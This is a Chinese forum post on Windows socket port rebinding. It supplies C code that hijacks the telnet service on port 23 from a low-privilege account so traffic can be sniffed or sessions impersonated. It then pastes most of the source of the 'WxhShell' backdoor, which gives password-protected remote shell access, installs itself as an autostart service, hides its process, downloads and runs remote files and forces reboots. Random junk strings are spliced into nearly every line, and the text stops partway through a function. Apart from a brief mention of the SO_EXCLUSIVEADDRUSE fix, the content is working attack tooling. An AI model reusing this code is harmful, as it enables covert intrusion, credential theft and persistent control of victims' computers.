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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ar+ j`QIe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |:yWDZg[  
-> $]`h"  
  saddr.sin_family = AF_INET; }(*eRF'  
gd#j{yI/Xf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dp&8:jy  
"'# 18&N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); osBwX.G'l  
\w;d4r8x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;F)j,Ywi)H  
QJeL&mf  
  这意味着什么?意味着可以进行如下的攻击: '>8IOC  
_zuaImJ0o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `a$c6^a  
HUP~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p,(gv])ie  
Nft~UggK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G=1&:nW'  
!xqy6%p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NVt612/'7y  
EISgc {s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3I}(as{Rp  
*9XKkR<r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MKl`9 Y3Ge  
CtEpS<*c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TnuNoMD.  
#o>~@.S#:0  
  #include c8@zpkMj/  
  #include yniXb2iM  
  #include lKtA.{(  
  #include    c >8I M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8 ztVv   
  int main() fN!ci']  
  { nM=5L:d  
  WORD wVersionRequested; s *8)|N  
  DWORD ret; n8FmIoZ&`  
  WSADATA wsaData; L6>;"]:f`  
  BOOL val; @pV~Q2%  
  SOCKADDR_IN saddr; u!]g^r  
  SOCKADDR_IN scaddr; vZ&{   
  int err; ZmXO3,sf)  
  SOCKET s; *6C ]CS  
  SOCKET sc; E4C yW  
  int caddsize; j3W)  
  HANDLE mt; xE.yh#?.k  
  DWORD tid;   <6!;mb ;cX  
  wVersionRequested = MAKEWORD( 2, 2 ); 6k4ZzQ}  
  err = WSAStartup( wVersionRequested, &wsaData ); >ocDh~@aP  
  if ( err != 0 ) { zp4aiMn1F  
  printf("error!WSAStartup failed!\n"); q=,  
  return -1; 6 h?v/\  
  } )\`.Ru~,  
  saddr.sin_family = AF_INET; /i[1$/*  
   b6]MJ0do  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NZ|(#` X  
bXiOf#:''  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cs-wqxTX[$  
  saddr.sin_port = htons(23); ?W27 h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /s/\5-U7q  
  { |H .  
  printf("error!socket failed!\n"); kWSei3  
  return -1; qk+RZ>T<o  
  } ep,"@,,  
  val = TRUE; C>MEgGP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >.xg o6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $ ;J:kd;<  
  { }ldOxJSB?  
  printf("error!setsockopt failed!\n"); ;2&ym)`  
  return -1; &E/0jxM1  
  } ],W/IDv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6T`F'Fk[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?z[k.l+6w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o/J2BZ<_<  
;YfKG8(0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~;QzV?%  
  { (m~gG|n4  
  ret=GetLastError(); lihV! 1  
  printf("error!bind failed!\n"); fPpFAO  
  return -1; i&di}x  
  } pXE'5IIN  
  listen(s,2); !GAU?J;<#2  
  while(1) (O(X k+L  
  { KAFx^JLo  
  caddsize = sizeof(scaddr); :TZ</3Sw  
  //接受连接请求 dlf nhf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _rN1(=J  
  if(sc!=INVALID_SOCKET) ;_nV*G.y#^  
  { o8ERU($/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [_X.Equ  
  if(mt==NULL) (K74Qg  
  { p]]*H2UD  
  printf("Thread Creat Failed!\n"); A8zh27[w%  
  break; s?9$o Qq1  
  } \* /R6svz  
  } Cqra\  
  CloseHandle(mt); `pJWZ:3  
  } wBJP8wES=  
  closesocket(s); c]x'}K c  
  WSACleanup();  L7rEMq  
  return 0; CKuf'h#  
  }   37U2Tb!y '  
  DWORD WINAPI ClientThread(LPVOID lpParam) LP{@r ic  
  { gP^p7aYwn  
  SOCKET ss = (SOCKET)lpParam; .S6u{B  
  SOCKET sc; /ygC_,mx  
  unsigned char buf[4096]; S [=l/3c  
  SOCKADDR_IN saddr; T1_qAz+  
  long num; ssUm1F\  
  DWORD val; a*N<gId  
  DWORD ret; {0IC2jE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xE"QX N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FWb`F&  
  saddr.sin_family = AF_INET; P. >5`^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M>xjs?{%k  
  saddr.sin_port = htons(23); < cUaIb;(4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G?e\w+}Pj@  
  { qy^sdqHl@  
  printf("error!socket failed!\n"); 92";?Xk  
  return -1; D:I6nSoC  
  } `9vCl@"IV  
  val = 100; WWtksi,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RLE6=#4  
  { (RM;T@`  
  ret = GetLastError(); 2+'4m#@)  
  return -1; >$/PfyY7@#  
  } |WUm;o4E`U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9`| ^cL*6  
  { g+zfa.wQ  
  ret = GetLastError(); Afao Fn+  
  return -1; Z{p62|+Ck@  
  } {{+woL'C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {[tx^b  
  { >VE!3'/'  
  printf("error!socket connect failed!\n"); J12hjzk6@  
  closesocket(sc); K."h}f95  
  closesocket(ss); .CAcG"42  
  return -1; QP={b+8  
  } yrCY-'%  
  while(1) wS%j!|xhlV  
  { M?3#XQDvD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bi<?m^j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JXNfE,_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  #-^y9B  
  num = recv(ss,buf,4096,0); l6y*SW5+  
  if(num>0) Uoqt  
  send(sc,buf,num,0); wx*)7Y*  
  else if(num==0)  o8h1  
  break; /q\{OsrX  
  num = recv(sc,buf,4096,0); a]%>7yr4  
  if(num>0) e nw7?|(  
  send(ss,buf,num,0); >"%}x{|  
  else if(num==0) BSc5@;  
  break; 8^U+P%  
  } YgCSzW&(  
  closesocket(ss); cd-; ?/  
  closesocket(sc); 9?i~4&EY  
  return 0 ; "i1r9TLc  
  } NkYU3[m$v  
>}|Vmy[/  
,K 1X/),  
========================================================== 'H|=]n0  
!3J YG  
下边附上一个代码,,WXhSHELL S1Ql%Yk-(  
Wti?J.Csc  
========================================================== Au[H!J  
c.JMeh  
#include "stdafx.h" ry[NR$L/m  
P+s-{vv{0  
#include <stdio.h> r_?il]l  
#include <string.h> f83Tl~  
#include <windows.h> 0X: :<N@  
#include <winsock2.h> Vt;!FZ  
#include <winsvc.h> D@ R>gqb  
#include <urlmon.h> HLp9_Y{X.  
/4_^'RB  
#pragma comment (lib, "Ws2_32.lib") +:D90p$e  
#pragma comment (lib, "urlmon.lib") q7-.-k<dQ  
_6/q.  
#define MAX_USER   100 // 最大客户端连接数 lWe1Q#  
#define BUF_SOCK   200 // sock buffer  $% 5f  
#define KEY_BUFF   255 // 输入 buffer GJB= 5nE  
e/nc[  
#define REBOOT     0   // 重启 :f|X$> b  
#define SHUTDOWN   1   // 关机 _5l3e7YN  
xZpGSlA  
#define DEF_PORT   5000 // 监听端口 %^VQw!  
{ kF"<W  
#define REG_LEN     16   // 注册表键长度 szG0?e  
#define SVC_LEN     80   // NT服务名长度 *LZ^0c:r  
vi-mn)L6#  
// 从dll定义API %I>-_el  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Or9`E(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;xMieqz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SWZA`JVK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -0R;C`(!  
r@9qjva  
// wxhshell配置信息 I nCo[ 8SI  
struct WSCFG { LjOHlT'  
  int ws_port;         // 监听端口 di,?`  
  char ws_passstr[REG_LEN]; // 口令 Xj+oV  
  int ws_autoins;       // 安装标记, 1=yes 0=no WUesTA>  
  char ws_regname[REG_LEN]; // 注册表键名 RLtIn!2OU  
  char ws_svcname[REG_LEN]; // 服务名 I'$}n$UvZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mq [|w2.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `E4OgO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1;$8=j2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $,v[<T`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !(L\X'jH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sM0o,l(5  
oPVyLD  
}; QTKN6P  
\'AS@L"Wj^  
// default Wxhshell configuration sKU?"|G81G  
struct WSCFG wscfg={DEF_PORT, ,*}5xpX  
    "xuhuanlingzhe", |fTWf}Jx  
    1, @Y8/#6KE  
    "Wxhshell", ;p U=>  
    "Wxhshell", ~~D =Z#  
            "WxhShell Service", 7HkQ|~zGT  
    "Wrsky Windows CmdShell Service", Tl2e?El;4  
    "Please Input Your Password: ", ;?`l1:C5)  
  1, ?5yj</W  
  "http://www.wrsky.com/wxhshell.exe", k=o>DaEh(  
  "Wxhshell.exe" SFdSA4D"  
    }; fL7u419=  
}G50?"^u  
// 消息定义模块 sHwn,4|iY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oy?>e1Sy*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )rP)-op|A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FJj #  
char *msg_ws_ext="\n\rExit."; $F,&7{^  
char *msg_ws_end="\n\rQuit."; mhXSbo9w-  
char *msg_ws_boot="\n\rReboot..."; AT6:&5_`  
char *msg_ws_poff="\n\rShutdown..."; jj&4Sv#>  
char *msg_ws_down="\n\rSave to "; FID4@--  
O{F)|<L(G  
char *msg_ws_err="\n\rErr!"; zLa3Q\T  
char *msg_ws_ok="\n\rOK!"; [Q+qu>&HB7  
^twJNm{99  
char ExeFile[MAX_PATH]; ".=LzjE<gv  
int nUser = 0; 5W29oz}-S  
HANDLE handles[MAX_USER]; S5$sB{\R  
int OsIsNt; D#?jddr-  
1; "t8.*%e  
SERVICE_STATUS       serviceStatus; +#|):aF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )f6:{ma  
_P]!J~$5  
// 函数声明 ZJ7<!?6  
int Install(void); xQetAYP`  
int Uninstall(void); |8s)kQ4$  
int DownloadFile(char *sURL, SOCKET wsh); &K*x[  
int Boot(int flag); 0/F/U=Z!  
void HideProc(void); sivd@7r\Fa  
int GetOsVer(void); mGK-&|gq  
int Wxhshell(SOCKET wsl); 5v uB87`  
void TalkWithClient(void *cs); m<cvx3e  
int CmdShell(SOCKET sock); I )LO@  
int StartFromService(void); +[sZE X  
int StartWxhshell(LPSTR lpCmdLine); @/ m|T]'8  
ctzaqsr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H"g$qSx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <e :2DB&  
KfVLb4@16_  
// 数据结构和表定义 S _B $-H|  
SERVICE_TABLE_ENTRY DispatchTable[] = tKik)ei  
{ UI,i2<&  
{wscfg.ws_svcname, NTServiceMain}, *Ugtg9j  
{NULL, NULL} S24wv2Uw i  
}; j$K[QSn  
i{$h]D_fD  
// 自我安装 ,z1fiq  
int Install(void) >,JA=s  
{ kZ0|wML8  
  char svExeFile[MAX_PATH]; dK45&JHoW^  
  HKEY key; HcrI3v|6  
  strcpy(svExeFile,ExeFile); $YyN-C  
F9|\(St &  
// 如果是win9x系统,修改注册表设为自启动 > WsRCBA  
if(!OsIsNt) { 8?S)>-mwv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DjX*2O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _H41qKS{Ul  
  RegCloseKey(key); 8>}^W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s] X]jfA.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0uf'6<fR  
  RegCloseKey(key); *vss  
  return 0; gDmwJr  
    } Nm 0kMq|h  
  } V0Z\e _I  
} u{o!j7  
else { ET&Q}UOE  
Pkm3&sW  
// 如果是NT以上系统,安装为系统服务 <u"h'e/oW_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U1>VKP;5Nn  
if (schSCManager!=0) {cNH|  
{ '~1uJ0H  
  SC_HANDLE schService = CreateService +P&;cCV`S3  
  ( 'e3[m  
  schSCManager, _TRO2p0  
  wscfg.ws_svcname, {iv!A=jld  
  wscfg.ws_svcdisp, r#K;@wu2  
  SERVICE_ALL_ACCESS, '5Zt B<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D&xb tJd  
  SERVICE_AUTO_START, `+!GoXI  
  SERVICE_ERROR_NORMAL, M=}vDw]Q  
  svExeFile, S'I{'jP5  
  NULL, +N9(o+UrU  
  NULL, f8Xe%"<  
  NULL, s57-<&@J9  
  NULL, jZm57{C#*?  
  NULL % mhnd):  
  ); Y2DR oQ  
  if (schService!=0) NY5?T0/[  
  { #l(cBM9sz  
  CloseServiceHandle(schService); ?5%|YsJP_  
  CloseServiceHandle(schSCManager); {&'u1yR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %#.H FK  
  strcat(svExeFile,wscfg.ws_svcname); 4DL;/Z:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Jt&6N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =Of!1TR(  
  RegCloseKey(key); *N0R3da  
  return 0; b ;Vy=f  
    } $?l?  
  } Ba$Ibq,r/  
  CloseServiceHandle(schSCManager); #K3A{ jb,  
} w/KCu W<  
} {5f? y\Z  
(]|rxmycA  
return 1; # !?5^O  
} |/?)u$U<  
{-sy,EYcw  
// 自我卸载 >qJRpO  
int Uninstall(void) He4sP` &I  
{ uLw$`ihw  
  HKEY key; QES[/i +  
%5=XszS  
if(!OsIsNt) { D cN s`2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G_wzUk=L  
  RegDeleteValue(key,wscfg.ws_regname); V}#2pP  
  RegCloseKey(key);  H4HWr6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fz`+j -u  
  RegDeleteValue(key,wscfg.ws_regname); "tga FtC=w  
  RegCloseKey(key); a*}ZT,V  
  return 0; Z=sCYLm  
  } )+[{MR '  
} YQ`GOP#/  
} 8F(_Vqu  
else { $vS`w4Y  
N/A.1W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OT_w<te  
if (schSCManager!=0) #'Q_eBX  
{ p;!'5 f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cS98%@DR  
  if (schService!=0) Azrc+k  
  { P`'Nv  
  if(DeleteService(schService)!=0) { Nb[z+V{=  
  CloseServiceHandle(schService); 4c2*)x$@  
  CloseServiceHandle(schSCManager); 3 *G 7H  
  return 0; yfS`g-j{~  
  } =Tf uwhV  
  CloseServiceHandle(schService); ^ ~HV`s  
  } m8F-#?~  
  CloseServiceHandle(schSCManager); (hefpqpi  
} #\G{2\R  
} zof>S>5>R7  
A f@IsCOJ  
return 1; 1"r6qYN!>  
} }bG|(Wp9  
~n#rATbxf  
// 从指定url下载文件 W@w#A]  
int DownloadFile(char *sURL, SOCKET wsh) o$4n D#P3  
{ L Ty [)  
  HRESULT hr; bz[+g,e2oA  
char seps[]= "/"; +Io[o6*  
char *token; NTk"W!<Cl2  
char *file; {]~b^=qE$  
char myURL[MAX_PATH]; uE~? 2G  
char myFILE[MAX_PATH]; odPq<'V|AY  
&N!QKrj3  
strcpy(myURL,sURL); 317Lv \[  
  token=strtok(myURL,seps); vcsi @!   
  while(token!=NULL) 00'R1q4  
  { C+-xC~  
    file=token; 8$3G c"=  
  token=strtok(NULL,seps); m'$]lf;*  
  } %|[+\py$Q  
7WG"_A~V  
GetCurrentDirectory(MAX_PATH,myFILE); RsS?ibozl  
strcat(myFILE, "\\"); SrfDl*  
strcat(myFILE, file); !o2lB^e8  
  send(wsh,myFILE,strlen(myFILE),0); 9g#L"T=  
send(wsh,"...",3,0); )p7WU?&I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _dY6Ip%  
  if(hr==S_OK) ~Rx[~a  
return 0; y&NO[  
else 95;q ] =U  
return 1; | 1H"ya  
h_4o4#  
} -C wx %  
ZYoWz(  
// 系统电源模块  q&0Jl  
int Boot(int flag) -A>1L@N  
{ [ZS}P  
  HANDLE hToken; le%_[/_I|  
  TOKEN_PRIVILEGES tkp; PuAcsYQhN  
'v&k5`Qq  
  if(OsIsNt) { ]sJWiIe.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;2 oR?COW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NaC^q*>9  
    tkp.PrivilegeCount = 1; hf rF7{yj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "gXz{$q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zp>q$e40  
if(flag==REBOOT) { _8b)Xx@5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pC0l}hnUg  
  return 0; 0jO]+BI1  
} F.mS,W]  
else { 8moX"w\~_h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [)|P-x-<  
  return 0; |a#4  
} QT/TZ:  
  } ++-\^'&1  
  else { FA ?xp1E  
if(flag==REBOOT) { w+bQpIP M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8 M3Q8&  
  return 0; pS vDH-  
} rxQn[  
else { OwrzD~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KFBo1^9N  
  return 0; (Vglcj  
} =jjUwcl  
} nmp(%;<exN  
.v G_\-@  
return 1; L)JpMf0  
} .w^M?}dx  
/u{ 9UR[g  
// win9x进程隐藏模块  L3P_  
void HideProc(void) =NwmhV  
{ Me[T=Tt`@w  
.Ya]N+r*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %B` MO-  
  if ( hKernel != NULL ) &GcWv+p  
  { TjGe8L:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LX[J6YKR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iy Zs:4jkc  
    FreeLibrary(hKernel); PhF3' ">  
  } ?J,hv'L]  
|i5A F\w  
return; nC^?6il  
} 2>0[^ .;"  
j8 nG Gx  
// 获取操作系统版本 )nyud$9w'  
int GetOsVer(void) P 0,) Gw  
{ 8SK}#44Xz  
  OSVERSIONINFO winfo; 0\O*\w?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6*Jd8Bva\o  
  GetVersionEx(&winfo); >l{<p(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h|"98PI  
  return 1; cAIMt]_  
  else ZurQr}  
  return 0; 9'C kV[  
} kPF[E5  
&}31q`  
// 客户端句柄模块 ~M`QFF  
int Wxhshell(SOCKET wsl) &=5  
{ o Hdss;q  
  SOCKET wsh; Ha9A5Ao}0  
  struct sockaddr_in client; g nJe!E  
  DWORD myID; )h&s.k  
" & 'Jw  
  while(nUser<MAX_USER) 'F^nW_ryW  
{ :ak D  
  int nSize=sizeof(client); NJSzOL_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sF^3KJ|  
  if(wsh==INVALID_SOCKET) return 1; 7$x~}*u  
ao>bnRXR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B5pM cw  
if(handles[nUser]==0) LGZ5py=xb  
  closesocket(wsh); 6b4Kcl<i  
else <_-&{Pv  
  nUser++; )vO;=% GQ  
  } cZT;VmC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZvEcExA-  
P|YBCH  
  return 0; z|[#6X6tT  
} x&7% U  
LS@[O])$'  
// 关闭 socket f~-81ctu  
void CloseIt(SOCKET wsh) IO~d.Ra  
{ K <7#;  
closesocket(wsh); \]=qGMwFs  
nUser--; ork/:y9*y  
ExitThread(0); |2(z<b&y=  
} AYHB?xOpR  
FCTz>N^p  
// 客户端请求句柄 z.n`0`^  
void TalkWithClient(void *cs) Oi+(`  
{ gE%{#&*  
@@K@;Jox  
  SOCKET wsh=(SOCKET)cs; `X]TIMc:Ad  
  char pwd[SVC_LEN]; aG;6^$H~  
  char cmd[KEY_BUFF]; ) \Mwv&k1  
char chr[1]; K[Bq,nPo  
int i,j; pZp|F  
qW[p .jN  
  while (nUser < MAX_USER) { XH&Fn+  
3>qUYxG8  
if(wscfg.ws_passstr) { cGiS[-g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jca7Cx`sm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yHkZInn  
  //ZeroMemory(pwd,KEY_BUFF); &n+3^JNl  
      i=0; j%Mz;m4y  
  while(i<SVC_LEN) { P]gksts9f.  
}yCJ#}  
  // 设置超时 vAi NOpz#  
  fd_set FdRead; J&%vBg^  
  struct timeval TimeOut; E"!C3SC [  
  FD_ZERO(&FdRead); dP[l$/  
  FD_SET(wsh,&FdRead); R[ p. )F7  
  TimeOut.tv_sec=8; itb0dF1G  
  TimeOut.tv_usec=0; MJ'|$b}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G4->7n N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {?m;DY v  
l^4[;%*f#l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k.? aq  
  pwd=chr[0]; o.U$\9MNP  
  if(chr[0]==0xd || chr[0]==0xa) { 4} uX[~e&  
  pwd=0; #=/eu=  
  break; Y, K): ~T  
  } ^/\OS@CT\  
  i++; px5~D(N  
    } 9{@#tx  
;m$F~!Y  
  // 如果是非法用户,关闭 socket =t1.j=oC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d (]t}  
} un0t zz  
6#VG,'e3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d&'z0]mOe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K_j$iHqLF  
yyZH1A  
while(1) {  ,!_  
2h0I1a,7  
  ZeroMemory(cmd,KEY_BUFF); 49n.Gc  
V3baEy>=z  
      // 自动支持客户端 telnet标准   (.\GI D+i  
  j=0; 6$[7t?u  
  while(j<KEY_BUFF) { wJ-G7V,)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  9],;i7c  
  cmd[j]=chr[0]; 3;=nQ{0b  
  if(chr[0]==0xa || chr[0]==0xd) { :gv`)  
  cmd[j]=0; 0L10GJ"(  
  break; [o8a(oC  
  } 9i@AOU  
  j++; X1G[&  
    } fU^B 3S6X  
^c{}G<U^  
  // 下载文件 O-B~~$g  
  if(strstr(cmd,"http://")) { $@d`Kz;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `EVTlq@<  
  if(DownloadFile(cmd,wsh)) c 2j?<F1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L(Q v78F  
  else r4caIV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |`T3H5X>  
  } bep}|8,#u  
  else { M>J8J*  
Ge$cV}  
    switch(cmd[0]) { ;AKtb S;H  
  B[7|]"L@  
  // 帮助 G3&ES3L  
  case '?': { jfF,:(P%W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +:1ay^YI  
    break; ~a m]G0  
  } )l*H$8  
  // 安装 }/BwFB+(/  
  case 'i': { ?TLEZlB2"  
    if(Install()) )%%RI_J T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cAC2Xq  
    else eU_|.2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R-]QU`c  
    break; ep<Ad  
    } vai.",b=n6  
  // 卸载 7t` <`BY^  
  case 'r': { x-+[gNc 6  
    if(Uninstall()) vFY/o,b \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pW O-YZ#+  
    else =Xzqp,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f ^mxj/%L  
    break; YXXUYi~!f  
    } Z:aDKAboU  
  // 显示 wxhshell 所在路径 I$0`U;Xd  
  case 'p': { 5P{dey!  
    char svExeFile[MAX_PATH]; K !8+~[  
    strcpy(svExeFile,"\n\r"); 8yax.N j  
      strcat(svExeFile,ExeFile); qT#+DDEAL  
        send(wsh,svExeFile,strlen(svExeFile),0); M xj  
    break; JbzYr] k  
    } pcNVtp 'V  
  // 重启 kbBD+*  
  case 'b': { ^ cN-   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _m;cX!+~_  
    if(Boot(REBOOT)) XG<J'3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]oBBokV  
    else { _dppUUm  
    closesocket(wsh); D h]+HF  
    ExitThread(0); $1oU^V Y  
    } >`= '~y8  
    break; FOpOS?Cr'  
    } PYr#vOH  
  // 关机 {r.#R| 4v  
  case 'd': { m JewUc!<5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6}R^L(^M  
    if(Boot(SHUTDOWN)) vrn I Eur  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TveCy&  
    else { H? N!F7s  
